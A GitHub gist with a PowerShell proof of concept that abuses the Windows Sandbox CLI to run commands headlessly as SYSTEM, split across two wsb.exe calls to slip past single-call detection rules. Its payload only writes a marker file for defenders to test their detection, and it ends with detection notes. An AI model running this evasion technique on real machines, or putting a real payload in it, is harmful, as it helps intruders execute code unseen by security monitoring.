Skip to content

Instantly share code, notes, and snippets.

@unrooted
Last active May 30, 2026 09:12
Show Gist options
  • Select an option

  • Save unrooted/c02f398c88205a437ad2fb592b61efff to your computer and use it in GitHub Desktop.

Select an option

Save unrooted/c02f398c88205a437ad2fb592b61efff to your computer and use it in GitHub Desktop.
"PoC" for abuse of Windows Sandbox - headless command execution via Windows Sandbox CLI
#Requires -Version 5.1
$ErrorActionPreference = 'Stop'
# wsb.exe LOLBAS PoC: truly-headless command execution via Windows Sandbox CLI.
#
# Demonstrates that wsb.exe (Windows 11 24H2+) can run arbitrary commands
# inside a Defender-free sandbox with NO interactive window, NO .wsb file
# on disk, and the abuse signal SPLIT across two separate wsb.exe invocations
# so that naive "single-call detection" rules miss the pattern.
#
# Important behavioral note (learned the hard way):
# <LogonCommand> in a Sandbox config only fires when WDAGUtilityAccount
# actually logs in - which requires an RDP session triggered by
# `wsb connect` and opens a visible window. So `wsb start --config
# "<...LogonCommand...>"` alone is NOT headless.
#
# The truly silent pattern uses two CLI calls:
# 1) wsb start --config "<Configuration>...</Configuration>" (no LogonCommand)
# 2) wsb exec --id <id> -c <payload> -r System (no user session needed)
#
# That's what this PoC demonstrates. The LogonCommand variant is shown in
# the commented block at the bottom for reference.
#
# BENIGN by design. Writes a marker file to a host-mapped folder so defenders
# can verify their EDR / Sysmon / SIEM correlation rules caught the abuse
# pattern. No malware, no exfil, no persistence.
#
# Requirements:
# - Windows 11 24H2 or later, Pro / Enterprise / Education
# - Windows Sandbox optional feature enabled
# - Standard user privileges on the host (no admin needed)
$HostShare = Join-Path $env:USERPROFILE 'Desktop\wsb-target'
$SandboxShare = 'C:\users\WDAGUtilityAccount\Desktop\target'
$MarkerOnHost = Join-Path $HostShare 'marker.txt'
New-Item -ItemType Directory -Path $HostShare -Force | Out-Null
# =============================================================================
# Step 1: start a sandbox with ONLY a mapped folder, NO LogonCommand.
# -----------------------------------------------------------------------------
# Detection rules looking for "wsb.exe --config containing <LogonCommand>"
# will NOT fire on this invocation - there is no LogonCommand here.
# =============================================================================
$config = @"
<Configuration>
<Networking>Default</Networking>
<ClipboardRedirection>Disable</ClipboardRedirection>
<MappedFolders>
<MappedFolder>
<HostFolder>$HostShare</HostFolder>
<SandboxFolder>$SandboxShare</SandboxFolder>
<ReadOnly>false</ReadOnly>
</MappedFolder>
</MappedFolders>
</Configuration>
"@
Write-Host 'Step 1: starting sandbox (no LogonCommand, no .wsb on disk)' -ForegroundColor Cyan
$startOut = wsb start --config $config 2>&1 | Out-String
# wsb start returns the sandbox ID. Parse it - format is a GUID.
$idMatch = [regex]::Match($startOut, '[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}')
if (-not $idMatch.Success) {
Write-Warning "Could not parse sandbox ID from 'wsb start' output. Output was:"
Write-Host $startOut
Write-Warning "Run 'wsb list' manually and re-run step 2 with the right ID."
return
}
$sandboxId = $idMatch.Value
Write-Host " sandbox id: $sandboxId" -ForegroundColor DarkGray
# Give the sandbox a few seconds to fully initialize. SYSTEM exec doesn't
# need a user logon, but the sandbox service does need to be ready.
Write-Host ' waiting ~8s for sandbox to initialize...'
Start-Sleep -Seconds 8
# =============================================================================
# Step 2: exec the payload as SYSTEM.
# -----------------------------------------------------------------------------
# -r System does NOT require an active user session. No RDP window opens,
# no logon event fires. This invocation's CLI argument has no <Configuration>
# XML, no <LogonCommand> - just a command string. The two invocations'
# command lines look entirely different from each other.
# =============================================================================
$payload = "cmd.exe /c echo wsb.exe LOLBAS PoC reached host filesystem at %TIME% > $SandboxShare\marker.txt"
Write-Host 'Step 2: executing payload as SYSTEM in the running sandbox' -ForegroundColor Cyan
wsb exec --id $sandboxId -c $payload -r System
Write-Host ''
Write-Host 'Wait ~3s then check on host:' -ForegroundColor Yellow
Write-Host " $MarkerOnHost"
Write-Host ''
Write-Host 'Detection notes:' -ForegroundColor Yellow
Write-Host ' - Step 1 CLI: wsb.exe start --config "<Configuration>...</Configuration>"'
Write-Host ' (no <LogonCommand>, just mapped folder + sandbox knobs)'
Write-Host ' - Step 2 CLI: wsb.exe exec --id <guid> -c "cmd /c ..." -r System'
Write-Host ' (no <Configuration>, no LogonCommand, just a -c payload)'
Write-Host ' - Correlation key: same sandbox-id GUID appears in both calls.'
Write-Host ''
Write-Host 'Cleanup:'
Write-Host " wsb stop --id $sandboxId"
Write-Host " Remove-Item -Recurse -Force '$HostShare'"
# =============================================================================
# Alternate (non-headless) pattern, for reference only - DO NOT enable:
# -----------------------------------------------------------------------------
# Putting the payload in <LogonCommand> seems to work conceptually, but the
# command only executes when WDAGUtilityAccount actually logs in. That
# happens when you run `wsb connect --id <id>`, which opens a visible RDP
# window. So the LogonCommand pattern is NOT silent; it's the "noisy" form
# of this abuse.
#
# $configWithLogon = @"
# <Configuration>
# <MappedFolders><MappedFolder><HostFolder>$HostShare</HostFolder>...<ReadOnly>false</ReadOnly></MappedFolder></MappedFolders>
# <LogonCommand><Command>cmd.exe /c echo logon-cmd reached host &gt; $SandboxShare\marker.txt</Command></LogonCommand>
# </Configuration>
# "@
# wsb start --config $configWithLogon
# # marker won't appear yet. Then:
# wsb connect --id <sandbox_id>
# # NOW the user logs in, LogonCommand fires, marker.txt is written.
# =============================================================================
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment